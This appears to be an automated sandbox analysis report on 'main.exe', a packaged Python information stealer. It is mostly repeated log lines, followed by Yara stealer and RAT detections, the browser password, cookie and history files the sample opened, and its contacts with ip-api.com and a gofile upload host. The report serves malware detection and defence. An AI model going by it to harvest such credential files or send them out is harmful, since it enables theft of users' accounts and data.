Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF73339C5E0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 0_2_00007FF73339C5E0
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333B6E70 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation, 0_2_00007FF7333B6E70

Stealing of Sensitive Information
barindex
Yara detected Discord Token Stealer
Source: Yara match File source: 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: main.exe PID: 7680, type: MEMORYSTR
Yara detected PRYSMAX STEALER
Source: Yara match File source: 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: main.exe PID: 7680, type: MEMORYSTR
Yara detected Telegram RAT
Source: Yara match File source: 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: main.exe PID: 7680, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\main.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks Jump to behavior
Source: C:\Users\user\Desktop\main.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\main.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\main.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\main.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\main.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\main.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\main.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\main.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\local Storage\leveldb\000003.log Jump to behavior
Source: C:\Users\user\Desktop\main.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Yara detected Generic Python Stealer
Source: Yara match File source: Process Memory Space: main.exe PID: 7680, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Discord Token Stealer
Source: Yara match File source: 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: main.exe PID: 7680, type: MEMORYSTR
Yara detected PRYSMAX STEALER
Source: Yara match File source: 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: main.exe PID: 7680, type: MEMORYSTR
Yara detected Telegram RAT
Source: Yara match File source: 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: main.exe PID: 7680, type: MEMORYSTR
Yara detected Generic Python Stealer
Source: Yara match File source: Process Memory Space: main.exe PID: 7680, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1579350 Sample: main.exe Startdate: 21/12/2024 Architecture: WINDOWS Score: 92 49 ip-api.com 2->49 51 api.gofile.io 2->51 57 Antivirus / Scanner detection for submitted sample 2->57 59 Multi AV Scanner detection for submitted file 2->59 61 Yara detected PRYSMAX STEALER 2->61 63 3 other signatures 2->63 9 main.exe 151 2->9         started        signatures3 process4 file5 41 C:\Users\...\backend_c.cp311-win_amd64.pyd, PE32+ 9->41 dropped 43 C:\Users\user\...\_cffi.cp311-win_amd64.pyd, PE32+ 9->43 dropped 45 C:\Users\user\AppData\Local\...\shell.pyd, PE32+ 9->45 dropped 47 88 other files (none is malicious) 9->47 dropped 65 Found pyInstaller with non standard icon 9->65 13 main.exe 24 9->13         started        17 conhost.exe 9->17         started        signatures6 process7 dnsIp8 53 ip-api.com 208.95.112.1, 49732, 49733, 80 TUT-ASUS United States 13->53 55 api.gofile.io 45.112.123.126, 443, 49731, 49736 AMAZON-02US Singapore 13->55 67 Tries to harvest and steal browser information (history, passwords, etc) 13->67 19 cmd.exe 1 13->19         started        21 cmd.exe 1 13->21         started        23 cmd.exe 1 13->23         started        25 8 other processes 13->25 signatures9 process10 process11 27 WMIC.exe 1 19->27         started        29 curl.exe 1 21->29         started        31 curl.exe 1 23->31         started        33 curl.exe 1 25->33         started        35 curl.exe 1 25->35         started        37 curl.exe 1 25->37         started        39 curl.exe 1 25->39         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
208.95.112.1
 ip-api.com United States
53334 TUT-ASUS false
45.112.123.126
 api.gofile.io Singapore
16509 AMAZON-02US false

Contacted Domains

Name IP Active
ip-api.com 208.95.112.1 true
api.gofile.io 45.112.123.126 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://api.gofile.io/servers false
    		high